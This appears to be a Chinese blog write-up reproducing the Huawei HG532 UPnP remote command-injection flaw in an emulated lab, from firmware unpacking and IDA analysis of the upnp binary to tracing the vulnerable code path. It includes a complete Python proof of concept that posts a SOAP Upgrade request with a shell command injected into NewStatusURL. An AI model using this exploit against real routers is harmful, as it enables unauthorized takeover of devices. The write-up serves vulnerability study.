华为 HG532 路由器 RCE 漏洞

信息收集

上一次复现的时候就直奔漏洞点去, 这次决定模拟一下从零开始的过程
老样子找到固件并且 binwalk 一下, 本来是想看 /etc/init.d 看看这个路由器启动的时候做了什么, 里面只有一个 rcS

#!/bin/sh
/bin/echo "rcs"
PATH=/sbin:/bin:/usr/bin:/usr/sbin
export PATH

echo "RCS DONE"

设定了一下环境变量, 看不出来什么, 但这时候注意到了
有个 upnp 文件夹, ai 一下发现是一套网络协议的集合, 主打一个零配置, 就像 USB 一样.
当一个支持 UPnP 的设备连上局域网后,它可以自动发现网络上的其他设备,并告诉大家:“我来了,我能提供这些服务”

UPnP 可以分成这些阶段
设备刚连上 Wi-Fi 或插上网线,就会立刻向局域网内进行组播,通常使用的是 UDP 的 1900 端口。

  • 设备大喊:“大家好,我是一个华为路由器!我的控制接口在 http://192.168.1.1:37215/ctrl !”
  • 这个过程使用的是 SSDP

第二阶段:描述 —— 核心:XML 文件

当局域网里的其他设备(比如你的手机、电脑)听到了这个广播,就会去请求了解这个路由器到底能干什么。此时,路由器就会甩出一份“个人简历”**。

  • 这份简历,正是就在 /etc/upnp/ 下, 会有一大堆 xml 文件
  • 这些 XML 文件里巨细无遗地定义了设备支持的各种服务,以及每个服务包含的具体动作和所需参数。

还真是

第三阶段:控制 —— 协议:SOAP
现在,你的电脑看完了 XML 简历,决定让路由器干点活,比如“重启”或者“升级固件”。电脑会向路由器发送一个特殊的 HTTP 请求,里面的数据格式也是 XML,这种专门用于下达指令的协议叫做 SOAP
(好熟悉的 SOAP

  • 电脑发送 SOAP 报文: “根据你的简历,我要调用你的 xx 动作,请把 xx参数的值设为 xxx。”
  • 路由器收到后,解析这个 XML,提取出参数,然后去执行对应的底层代码。

那我们就从 UPnP 入手吧, 在 bin 目录下能找到 upnp 的 elf, checksec 一下

Arch:       mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

经典 mips, 顺手 file 一下

./squashfs-root/bin/upnp: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header

这次是 dynamically linked ,不是 static 了, 先用 ida 看看
进来就看到了非常熟悉的 system, 顺着引用去找
还好不是很多, 在最后面这个 system 这里
一看这个 GetChildNodeByName , 然后 snprintf 拼接命令之后 system 执行就知道这一定有问题. 接收到 SOAP XML 请求时就会解析 XML 树, 然后找到 <NewDownloadURL><NewStatusURL> 两个标签, 提取其中的内容, 通过 snprintf 拼接在一起, 最后送到 system 去执行, 所以可以通过 ; 去进行命令截断

环境搭不起来, 我真的要哭了

环境搭建

环境搭建参考

https://www.iotsec-zone.com/article/312
https://blog.csdn.net/2401_88244350/article/details/143403838

值得一提的是, 现在 vmware 的 vmtools 可以直接 apt 安装了

sudo apt update
sudo apt install open-vm-tools open-vm-tools-desktop

成功看到路由器登陆页面, 这里可能我下的固件不太一样, 没有华为那个标, 不过问题不大
抄了一段 poc 来发送, 来自

https://www.iotsec-zone.com/article/312

只不过他是用 Burp suite 直接发的, 我用 python 的 requent 库

import requests

url = "http://192.168.50.53:37215/ctrlt/DeviceUpgrade_1"

headers = {
"User-Agent": "Mozilla/5.0 (iPad; CPU iPad OS 9_3_5 like Mac OS X) AppleWebKit/535.2",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Content-Type": "text/xml",
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

xml_body = """<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir /sltest;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>"""

try:
response = requests.post(url, headers=headers, data=xml_body, timeout=5)

print("Status Code: {}".format(response.status_code))
print("Response Body: {}".format(response.text))

except requests.exceptions.RequestException as e:
print("请求发生错误: {}".format(response.e))

RCE 成功

POC 解析

简单解析一下 poc 为什么是这样的

xml中的<u:Upgrade>

这个函数一开始我按 x 没找到他的引用, 所以我也不知道它是怎么到这里触发这个漏洞的, 后面就简单研究了一下. 因为 snprintf 拼接的字符串中有个 Upgrade, 翻翻字符串找到
X 看了一下引用发现
下方正好就是 sub_40751C, 右边的 UPnPGetActionByName引用了这个字符串, 猜测这应该是 action 注册表/分发表项, 具体逻辑就不细看了, 所以 poc 里面构造的 xml 都有

<u:Upgrade xxxxx>
</u:Upgrade>

Upgrade 里面包含的是

<NewStatusURL>xxxx</NewStatusURL>  
<NewDownloadURL>xxxx</NewDownloadURL>

用于截断命令, 构造 RCE

url中的/ctrlt/DeviceUpgrade_1

溯源一下 UPnPGetActionByName
溯源 LABEL_23
发现一个路径检测
看到了 poc 中的 /ctrlt/ 几个分支分别做了去除前缀的功能, 大概作用如下

/ctrlt/DeviceUpgrade_1 -> DeviceUpgrade_1  
/ctrlu/Whatever_1 -> Whatever_1
/evt/Foo_1 -> Foo_1

然后进入

for (...) {
for (...) {
snprintf(v9, 64, "%s_%d", *(const char **)(j + 8), *(_DWORD *)(j + 12));
if ( !strcmp(v9, v4) )
return j;
}
}

这里在构造一个这样的字符串

service_name + "_" + instance_id

也就是 poc 中 url 的 DeviceUpgrade_1, 至于 DeviceUpgrade_1 应该是来自下面这些函数的
大概找到了, 在

ATP_UPnP_RegService()

继续找引用, 发现
这下看懂为什么 url 是 ctrlt/DeviceUpgrade_1

37215 端口是啥

剩下最后一个问题, 就是 37215
扫下端口发现是 mic
这里大概看了下 mic
点击 upnp ,找到了一串 inetd/服务配置字符串
所以 poc 中的 url 中的

37215/ctrlt/DeviceUpgrade_1

也能解释清楚为什么是这些了, 完整的链路是这样的

mic
└─ 读取 m_astInetdApps["upnp"]
├─ 解析 "|37215|t4;|37443|s4"
├─ 创建 socket: 37215 / 37443
└─ 启动 upnp 服务

客户端请求:
POST http://ip:37215/ctrlt/DeviceUpgrade_1

UpnpGetServiceByUrl("/ctrlt/DeviceUpgrade_1")

匹配 DeviceUpgrade_1 → service对象

XML:
<u:Upgrade>

UPnPGetActionByName(service, "Upgrade")

sub_40751C

RCE

经历千辛万苦也是捋清楚整个流程了, 参考来自:

https://mdr.skyeye.qianxin.com/forum/share/4044
https://www.secrss.com/articles/52434
https://www.iotsec-zone.com/article/312
https://bbs.kanxue.com/thread-274713.htm